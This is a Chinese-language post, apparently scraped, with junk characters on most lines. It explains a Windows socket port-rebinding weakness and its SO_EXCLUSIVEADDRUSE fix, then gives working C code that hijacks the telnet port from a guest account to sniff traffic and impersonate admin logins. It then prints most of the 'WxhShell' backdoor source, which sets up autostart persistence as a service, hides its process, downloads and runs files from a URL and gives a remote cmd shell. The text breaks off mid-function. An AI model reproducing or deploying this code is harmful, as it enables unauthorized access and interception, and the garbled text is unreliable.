在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#Y>%Dr& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
wW! r}I# BI.k On= saddr.sin_family = AF_INET;
D6)Cjc>a S*m`' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+ >gbZ-S nf.:5I. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3_*Xk.
.d Etc?; Z[F# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%i
-X@.P .>64h H 这意味着什么?意味着可以进行如下的攻击:
&}6ES{Nr8 hi
D7tb=g~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
m|2]lb $<
K)fbG 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hN:F8r+DG G1;'nwf} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
) UDJ[pL@ avt>saR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[q+e]kD H@2"ove-uC 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
j_'rhEdLP @f5@0A\0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Lr?4Y ]pR fY9w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
E?gu(\an@ L+~YCat|$U #include
cv*Q]F1% #include
jFNs=D&( #include
Q^MXiEO+ #include
"^
6lvZP( DWORD WINAPI ClientThread(LPVOID lpParam);
*iRm`)zC( int main()
j
#I:6yA3 {
<A -(&+ WORD wVersionRequested;
;?L!1wklA DWORD ret;
M o"JV WSADATA wsaData;
Jm(&G BOOL val;
Q
f+p0E; SOCKADDR_IN saddr;
}EedHS SOCKADDR_IN scaddr;
Ng'ZAG;O int err;
_L4<^Etfm SOCKET s;
4 %!{?[$ SOCKET sc;
Y!=
k int caddsize;
&J^4Y!gt HANDLE mt;
^/ DII`A DWORD tid;
{NY~JFM wVersionRequested = MAKEWORD( 2, 2 );
yXTK(<' err = WSAStartup( wVersionRequested, &wsaData );
-q&7J'
N if ( err != 0 ) {
"0H56#eW printf("error!WSAStartup failed!\n");
oWx_O-_._ return -1;
R7B,Q(q2- }
:e&n.i^ saddr.sin_family = AF_INET;
gVnwsE u
JQaHL! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
dm,}Nbc91( (,Ja
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q
M_/ saddr.sin_port = htons(23);
ne"?90~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
x!C8?K=| {
M<Wn]}7! printf("error!socket failed!\n");
.@i0U return -1;
]~prR? }
Y%fVt| val = TRUE;
{C/L5cZ]J //SO_REUSEADDR选项就是可以实现端口重绑定的
wTlK4R# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
;J(rw
{
$h 08Z printf("error!setsockopt failed!\n");
Xb=2/\}|f return -1;
8Q^6ibE }
Z&dr0w8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
c/<Sa|' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]{,Gf2v;;d //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*^@#X-NG 5?5-;H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
wc7mJxJxA {
.0
s[{x ret=GetLastError();
b46[fa printf("error!bind failed!\n");
hgweNRTh! return -1;
.# 6n }
JO2ZS6k[ listen(s,2);
7b&JX'`Mb while(1)
#+K
Kvk {
)D["M$ZA^ caddsize = sizeof(scaddr);
af<NMgT2s~ //接受连接请求
IpWy)B>Fl3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$hjP}- oUX if(sc!=INVALID_SOCKET)
M&qh]v gC {
=My}{n[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
&Y54QE". if(mt==NULL)
0%xR<<gir {
3XeXzPj printf("Thread Creat Failed!\n");
9;0V
/y break;
KE/-VjZu }
?$|uT }
W\@?e32 CloseHandle(mt);
9Z,*h-o }
.D8~)ZWN closesocket(s);
eg"=H50 WSACleanup();
aho'|%y) return 0;
cOSxg=~>u }
eyeNrk*2o DWORD WINAPI ClientThread(LPVOID lpParam)
[G{rHSK5tQ {
CM%|pB/z SOCKET ss = (SOCKET)lpParam;
r}/yi SOCKET sc;
;wij}y-6 unsigned char buf[4096];
2;r]gT~ SOCKADDR_IN saddr;
Sl3KpZ long num;
Gb(C#,xbK DWORD val;
nG"tO'J6 DWORD ret;
@+'c+ //如果是隐藏端口应用的话,可以在此处加一些判断
k}-yOP{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tcBC!_vF saddr.sin_family = AF_INET;
(^sh saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L`9TB"0R+ saddr.sin_port = htons(23);
UL86-R! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L5"8G,I {
'[Mlmgc5 printf("error!socket failed!\n");
#yW.o'S+ return -1;
YfE>Pn'r }
$[Tt#CJw val = 100;
9z5\*b s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v5(q)h {
!p}`kG ret = GetLastError();
H>60D|v[ return -1;
{S[I_\3 }
ry.;u*F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p"Ot5!F> {
Jy \2I{I' ret = GetLastError();
G9DJa_]X return -1;
9YP*f }
;wJ~ha C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N>+ P WE$ {
S8
:"<B) printf("error!socket connect failed!\n");
&J8Z@^ closesocket(sc);
hf;S]8|F closesocket(ss);
Q*]$)D3n return -1;
QL2Nz@|k }
}$o* while(1)
IUOxGJ|rO {
L2KG0i`+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-x{dc7y2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
!7}IqSs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/-h6`@[ num = recv(ss,buf,4096,0);
z5x _fAT( if(num>0)
>A-<ZS*N send(sc,buf,num,0);
b9!.-^<8y else if(num==0)
<3d;1o break;
Mr-DGLJ num = recv(sc,buf,4096,0);
6yY.!HRkr if(num>0)
~@{w\%(AK] send(ss,buf,num,0);
i=YXKe6fD else if(num==0)
Bd{4Ae\_+g break;
]1m"V;vZ }
{J (R closesocket(ss);
*c{wtl@ closesocket(sc);
J^ `hbP+2 return 0 ;
8O>}k }
*myG"@P4hW a Sf/4\ # kyl?E ==========================================================
oBr.S_Qe }^9]jSq5 下边附上一个代码,,WXhSHELL
][,4,?T7 BT]ua]T+ ==========================================================
0o;O`/x 'l~6ErBSg #include "stdafx.h"
oh6B3>>+ rz6uDJ" #include <stdio.h>
:p' VbQZ{ #include <string.h>
qz 9tr #include <windows.h>
~3gru>qI& #include <winsock2.h>
Y$g}XN*)E #include <winsvc.h>
n-$VUo #include <urlmon.h>
s2FngAM;f
|g%mP1O #pragma comment (lib, "Ws2_32.lib")
;imRh'-V6 #pragma comment (lib, "urlmon.lib")
f/,tgA 4e +~.5r@i #define MAX_USER 100 // 最大客户端连接数
'0:i<`qv#g #define BUF_SOCK 200 // sock buffer
77V
.["=7 #define KEY_BUFF 255 // 输入 buffer
9}5K6aQ CswE #define REBOOT 0 // 重启
in<}fAro6 #define SHUTDOWN 1 // 关机
yPV'pT) )t:7_M3 #define DEF_PORT 5000 // 监听端口
sc W'AJJq _d@=nK) #define REG_LEN 16 // 注册表键长度
Bn?:w\%Ue #define SVC_LEN 80 // NT服务名长度
YzAFC11, Po(]rQbE // 从dll定义API
9GgA 6# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
q_ %cbAcD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$+cAg> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
lv]quloT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
f6!D L< 6 {}JbRNf // wxhshell配置信息
HG%Z"d struct WSCFG {
Tv5g`/e=Ej int ws_port; // 监听端口
mf' ]O, char ws_passstr[REG_LEN]; // 口令
dA_YL?or int ws_autoins; // 安装标记, 1=yes 0=no
@m~RtC-Q char ws_regname[REG_LEN]; // 注册表键名
?7jg(`Yh char ws_svcname[REG_LEN]; // 服务名
!"Q}R p char ws_svcdisp[SVC_LEN]; // 服务显示名
_n"Ae?TP char ws_svcdesc[SVC_LEN]; // 服务描述信息
fj>C@p char ws_passmsg[SVC_LEN]; // 密码输入提示信息
09S6#; N& int ws_downexe; // 下载执行标记, 1=yes 0=no
y,=du char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
auHFir8f char ws_filenam[SVC_LEN]; // 下载后保存的文件名
WZZ4]cC 1zftrX~v!X };
-Xz&}QA 5l DFp9 // default Wxhshell configuration
]XeO0Y struct WSCFG wscfg={DEF_PORT,
C5W>W4EM "xuhuanlingzhe",
b.F^vv"]] 1,
:?Y$bX}a "Wxhshell",
5\Fz! "Wxhshell",
{_#y z\j "WxhShell Service",
hXn3,3f3oZ "Wrsky Windows CmdShell Service",
YE}s "Please Input Your Password: ",
4 =Gph 1,
uS+k^
# "
http://www.wrsky.com/wxhshell.exe",
J:j<"uPm "Wxhshell.exe"
F7MzCZvu };
PUdM[-zjh M2@b1; // 消息定义模块
W`z 0" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
:q#K} / char *msg_ws_prompt="\n\r? for help\n\r#>";
Y[Ltrk{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
UsQ4~e 4- char *msg_ws_ext="\n\rExit.";
kforu!C char *msg_ws_end="\n\rQuit.";
@kFu*" char *msg_ws_boot="\n\rReboot...";
~D[?$`x: char *msg_ws_poff="\n\rShutdown...";
re &E{ char *msg_ws_down="\n\rSave to ";
1l8Etp&< 7v7G[n char *msg_ws_err="\n\rErr!";
xSK~s char *msg_ws_ok="\n\rOK!";
}fR,5|~X nZy X_J,Vd char ExeFile[MAX_PATH];
sC"}8+[)S3 int nUser = 0;
%XTcP2pRJ HANDLE handles[MAX_USER];
2Y!S_Hw8 int OsIsNt;
otJ!UfpR8 ($nrqAv4 SERVICE_STATUS serviceStatus;
~8T(>!hE1h SERVICE_STATUS_HANDLE hServiceStatusHandle;
,8MLoZ_ BZv+H=b // 函数声明
v"^~&q0x int Install(void);
oU6y4yO int Uninstall(void);
gEQNs\Jn
L int DownloadFile(char *sURL, SOCKET wsh);
*e#<n_%R int Boot(int flag);
F^k.is
void HideProc(void);
xI*#(!x"G int GetOsVer(void);
DI|:p!Nx int Wxhshell(SOCKET wsl);
L,,*gK void TalkWithClient(void *cs);
]aryV?!6 int CmdShell(SOCKET sock);
TBrGA
E int StartFromService(void);
} MbH3ufC int StartWxhshell(LPSTR lpCmdLine);
Q,h7Sk* C1EtoOv K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
76cG90!Z VOID WINAPI NTServiceHandler( DWORD fdwControl );
'b*%ixa ;Lm=dd@S: // 数据结构和表定义
5kNzv~4B,; SERVICE_TABLE_ENTRY DispatchTable[] =
SLfFqc+n0 {
'CZa3ux {wscfg.ws_svcname, NTServiceMain},
X|D!VX>#! {NULL, NULL}
l`-bFmpA };
u{N,Ib
8 U$dh1; // 自我安装
{%2v Gn int Install(void)
6[E| {
F0vM0e- char svExeFile[MAX_PATH];
?ULo&P[ HKEY key;
z+ a%5J strcpy(svExeFile,ExeFile);
!2UOC P P|tNL}2`; // 如果是win9x系统,修改注册表设为自启动
`+:.L>5([ if(!OsIsNt) {
iJ' xh n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}N0Qm[R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PQKaqv}N RegCloseKey(key);
.`<@m]m- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SUKxkc( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qn1255fB RegCloseKey(key);
73#x|lY return 0;
[YrHA~=U }
%1 vsN-O}8 }
G0O#/%% }
Vm}%ttTC else {
#rO8K f XdLCbY // 如果是NT以上系统,安装为系统服务
#GDe08rOw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{U<xdG if (schSCManager!=0)
r_e7a6 {
vx_o(wof SC_HANDLE schService = CreateService
+YLejjQ (
zA+~7;7E schSCManager,
)*; zW!H wscfg.ws_svcname,
'Jf^`ZT} wscfg.ws_svcdisp,
Z[\O=1E, SERVICE_ALL_ACCESS,
pD]0`L-HJU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
0;4t&v7 SERVICE_AUTO_START,
@_:]J1jw7 SERVICE_ERROR_NORMAL,
~_s?k3cd svExeFile,
'TH15r@ NULL,
OouPj@r NULL,
[gy*`@w NULL,
T,xPSN2A* NULL,
*_E|@y NULL
cLPkK3O\= );
K7Rpr.p if (schService!=0)
>9RD_QG7 {
{u1V|q CloseServiceHandle(schService);
aLJ(?8M@ CloseServiceHandle(schSCManager);
)ZrS{vY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)o-Q!<*1 strcat(svExeFile,wscfg.ws_svcname);
t#%R
q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'>$]{vQ3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
E0%~!b RegCloseKey(key);
s&\I=J. return 0;
B+^(ktZp@ }
k+I}PuG }
!RyO\>:q CloseServiceHandle(schSCManager);
\#o2\!@` }
/%_OW@ ? }
'13ZX: ) ri}nL. return 1;
pV4Whq$ }
AU-n&uX D]c`B // 自我卸载
.9md~j:o^s int Uninstall(void)
yQ#:J9HMJ {
={LMdC~5X HKEY key;
moP,B~ pv^O"Bs if(!OsIsNt) {
/Uo
y/}! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=K{\p`? RegDeleteValue(key,wscfg.ws_regname);
cUTE$/#s RegCloseKey(key);
% QKZT=} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#2r}?hP/m RegDeleteValue(key,wscfg.ws_regname);
/'31w9 RegCloseKey(key);
+w=AJdc return 0;
o9cM{ya/> }
h3dsd }
&WNf
M+ }
JaB<EL-9r2 else {
Gmf B [<'-yQ{l\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Us+pc^A if (schSCManager!=0)
J'N!Omz {
sdQkT# %y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]4;PR("aU if (schService!=0)
}$bF
5& {
r}uz7}z %" if(DeleteService(schService)!=0) {
z25m_[p2 CloseServiceHandle(schService);
wywQ<n CloseServiceHandle(schSCManager);
^"J8r W6[ return 0;
L%>n>w }
\GHiLs,! CloseServiceHandle(schService);
=gcM%=*' }
lFTF ,G CloseServiceHandle(schSCManager);
>yY'7Ey }
gi0W;q }
)T;?^kho $95h2oXt return 1;
UI>Y0O }
3e(ehLc4DJ P(t[
eXe // 从指定url下载文件
K_K5'2dE int DownloadFile(char *sURL, SOCKET wsh)
4lBU#V7 {
D@!=d@V. HRESULT hr;
wm+/e#'& char seps[]= "/";
?_I[,N?@41 char *token;
NJNJjdD> char *file;
SRDXfkoI char myURL[MAX_PATH];
X^WrccNX char myFILE[MAX_PATH];
JPGzrEaZ 7"8hC strcpy(myURL,sURL);
+[5.WC7J token=strtok(myURL,seps);
I4&::y^C while(token!=NULL)
F'hHK.tT {
8T(e.I file=token;
J/}:x;Y token=strtok(NULL,seps);
~#kT_*sw) }
_x!7}O#k A^p[52` GetCurrentDirectory(MAX_PATH,myFILE);
JwJ7=P=c strcat(myFILE, "\\");
PssMTEf strcat(myFILE, file);
7EXI6jGJ| send(wsh,myFILE,strlen(myFILE),0);
)c8j} send(wsh,"...",3,0);
o tk}y8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
U#3J0+! if(hr==S_OK)
sP ls
zC[ return 0;
I_A@BnM{I else
.l@xsJn return 1;
_Gu-
uuy n5{Xj:} }
Uh][@35 p n_'s=] ~ // 系统电源模块
;pnD0bH int Boot(int flag)
ij? {
IEU^#=n HANDLE hToken;
PG,_^QGCX TOKEN_PRIVILEGES tkp;
A]XZnQ W^G>cC8.L if(OsIsNt) {
s+Q~~]HJM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>Jp:O
7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
E8-P"`Qba tkp.PrivilegeCount = 1;
K# Jk _"W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
F{UP;"8' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
e@IA20 if(flag==REBOOT) {
p1vp8p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
bR V+>;L0@ return 0;
@'|)~,"bx }
|O"lNUW else {
:rg5Kt& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8cA~R- return 0;
!H ~<
}
W8]lBh5~: }
&8z[`JW,T else {
hEw-
O;T0 if(flag==REBOOT) {
og0*Nt+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"I
Ql Vi return 0;
'D@- }
v$N|"o"" else {
{Lm~r+
U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
D_x+:1( return 0;
4T=u`3pD7l }
kV38`s>+ }
N2w"R{) j\ 0C>%LJ8r return 1;
ezMI\r6 }
=MvjLh"s ,~"$k[M // win9x进程隐藏模块
U{VCZ*0cj void HideProc(void)
e/^=U7:io {
0lv%`, AGbhJ=tB HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
>$ e9igwe if ( hKernel != NULL )
C?2'+K {
$_x^lr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
mVR P~:+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*guoWPA|Ij FreeLibrary(hKernel);
d20gf:@BM }
k70|'* Kh B`
k\ EL' return;
HB7;0yt`: }
1n@8Kv PnoPbk[< // 获取操作系统版本
Yc'kvj)_M int GetOsVer(void)
yfm^?G|sW {
8)4P Ll OSVERSIONINFO winfo;
o";Z$tAJkC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
zF`c8Tsx]) GetVersionEx(&winfo);
rf$X>M=G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
m o:D9 return 1;
Uy$)%dYfq5 else
p1|f<SF') return 0;
o9H^?Rut }
nG;8:f` xQ@^$_ // 客户端句柄模块
|JVk&8
?8 int Wxhshell(SOCKET wsl)
FD8N"p {
|Z*J/v'@p SOCKET wsh;
}5(Ho$S( struct sockaddr_in client;
HTyLJe DWORD myID;
B~_d^` ~SnSEhE while(nUser<MAX_USER)
7bV{Q355P {
/;utcc int nSize=sizeof(client);
a(0*um( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
smry2*g if(wsh==INVALID_SOCKET) return 1;
v_nj$1dY6 V7Mh-] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
iySRY^ if(handles[nUser]==0)
>mjNmh7 closesocket(wsh);
YxP@!U9dE, else
<NuUW9+ nUser++;
`YIf_a{ }
Iwc{R8BV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
GPGm]G t
4A2?Uhpy return 0;
YE9,KVV;$n }
dtcIC0:[ 6#Q K%[1!> // 关闭 socket
Qu]z)";7 void CloseIt(SOCKET wsh)
7K5P8N
, {
P`e!Z: closesocket(wsh);
6CMub0 nUser--;
"1HRLci ExitThread(0);
k+DR]icv }
'FS?a :M6+p'`j // 客户端请求句柄
a!u
rew# void TalkWithClient(void *cs)
Xt'sQ} {
~R@Nd~L )}_a
0bt SOCKET wsh=(SOCKET)cs;
&Ky_v^ char pwd[SVC_LEN];
:"!9_p(,, char cmd[KEY_BUFF];
14"J d\M8 char chr[1];
C,.Ee3T int i,j;
1"e)5xI
.fdL&z while (nUser < MAX_USER) {
_X'"w|0 PfZ+PqS if(wscfg.ws_passstr) {
?:L:EW8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mb!9&&2-t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U\sHx68 //ZeroMemory(pwd,KEY_BUFF);
4~N[%>zJ i=0;
C|o`k9I# while(i<SVC_LEN) {
tT79p.z B rrCNo^W1 // 设置超时
wW/7F;54 fd_set FdRead;
P:N1#|g struct timeval TimeOut;
A4]s~Ur FD_ZERO(&FdRead);
xSBc-u#< G FD_SET(wsh,&FdRead);
eVM/uDD TimeOut.tv_sec=8;
dF~8XYo TimeOut.tv_usec=0;
>~Qr int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/mK?E5H'r1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&|`C)6[C kGN+rHo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
"&%#!2 pwd
=chr[0]; E]6z8juO6
if(chr[0]==0xd || chr[0]==0xa) { 'gt-s547
pwd=0; I'@Ydt2
break; Q(\4]i< S
} IEcf
i++; edK|NOOZ
} D11F.McM
}@^4,FKJ
// 如果是非法用户,关闭 socket 3yNU$.g
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -Fn}4M
} dzkw$m^@^
0]jA<vLR
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t2r?N}"P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % =BMZRn
EKzAd
while(1) { r]0
lo-
5A4&+rdU
ZeroMemory(cmd,KEY_BUFF); A<B=f<N3gV
7k( Kq5w.
// 自动支持客户端 telnet标准 t&(PN%icD
j=0; fhCc! \
while(j<KEY_BUFF) { q`G, L(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +/ &_v^sC;
cmd[j]=chr[0]; "$}vP<SM
if(chr[0]==0xa || chr[0]==0xd) { Dxk+P!!K
cmd[j]=0; B)QHM+[=F
break; p3}?fej&|
} -> J_ ~
j++; &EpAg@9!
} CQpCS_M
,do58i
K
// 下载文件 HyR!O>
if(strstr(cmd,"http://")) { U5r7j
send(wsh,msg_ws_down,strlen(msg_ws_down),0); LbII?N8`N
if(DownloadFile(cmd,wsh)) T t>8?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +z$pg
else O%ug@& S{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W\L`5CW
} "ax..Mh\y
else { <u=4*:QE
h48SItY
switch(cmd[0]) { E!O\87[
{$1J=JbE
// 帮助 >G 'SbQ8
case '?': { jU5 }\oP@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7^Yk`Z?|a
break; wm+})SOX9
} Rtjqx6-B;
// 安装 E[^ {w
case 'i': { M1%Dg'}G
if(Install()) _A0mxq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J=dJsk
else /QEiMrz@6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1*
]Ev
break; :F?x)"WoQ+
}
kZ=s'QRgL
// 卸载 2z@\R@F
case 'r': { 4);)@&0Md~
if(Uninstall()) B7Tk4q\;Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); . ]8E7
else n\ Hs@.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @EoZI~
break; MJ\ eh>v&
} v<9&B94z
// 显示 wxhshell 所在路径 Cz8f1suO4
case 'p': { 1LY8Ma]E
char svExeFile[MAX_PATH]; M+!x}$&v
strcpy(svExeFile,"\n\r"); w%zRHf8C
strcat(svExeFile,ExeFile); wI5Yn
h
send(wsh,svExeFile,strlen(svExeFile),0); YQ0)5 }
break; |~
_'V "
} ^bLRVp1
// 重启 8_!.!Kde |
case 'b': { v{<[)cr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [>|FB '
if(Boot(REBOOT)) DE
IB!n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?J,AB #+
else { d
HJhFw
closesocket(wsh); D\ H/
ExitThread(0); n$:IVX"2b
} "Y=+Ls(3o(
break; >5
b/or
} 5IKL#V`3a
// 关机 5#E |R
case 'd': { wJlX4cT4YV
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pN&c(=If
if(Boot(SHUTDOWN)) m~'? /!!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D.%B$Y;G
else { 6q>+!kXh
closesocket(wsh); W~Z<1[
ExitThread(0); a83g\c5
} <*EZ@XoN>
break; vOgC>_x7
} *x>3xQq&
// 获取shell j(#%tIv
case 's': { z* <y5
CmdShell(wsh); |p00j|k
closesocket(wsh); ?U7) XvQ
ExitThread(0); aTzDew
break; -@&1`@):{
} 6/ `.(fL1
// 退出 j!z-)p8hy
case 'x': { C_LvZ=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #?B%Ja%
;W
CloseIt(wsh); #;#3%?
break; `8\Ja$ =
} Pj?Dmk~
// 离开
st'D
case 'q': { gf)t)- E
send(wsh,msg_ws_end,strlen(msg_ws_end),0); j6ut}Uq
closesocket(wsh); B%\g kl
WSACleanup(); 5HS~op2n/
exit(1); q*)+K9LRk
break; rbqo"g`
} FP"$tt (
} c6Q(Ygc
} Ejq#~Zhr!
kVS?RHR
// 提示信息 Ov82ibp_1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #2xSyOrmf
} Rb}KZ+o"Z
} <ale$[
j*;N\;iL!*
return; EN!?:RV
} !8tS|C#2
insY(.N
// shell模块句柄 u2(eaP8d
int CmdShell(SOCKET sock) x6'^4y])
{ q1k{
STARTUPINFO si; _w ]4~V9
ZeroMemory(&si,sizeof(si)); YH:8<O,{-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
FnHi(S|A
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;,OfJ'q^
PROCESS_INFORMATION ProcessInfo; ;\%sEcpT
char cmdline[]="cmd"; RD<75]**{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @o e\"vz
return 0; uM(UO,X
} "zZI S6j
3,aN8F1;C
// 自身启动模式 y~<@x.
int StartFromService(void) dv
N<5~
{ ;9uRO*H?T
typedef struct ~=y3Gd
B3
{ mW`oq
DWORD ExitStatus; g2p"LWex-
DWORD PebBaseAddress; T,JA#Rk|1N
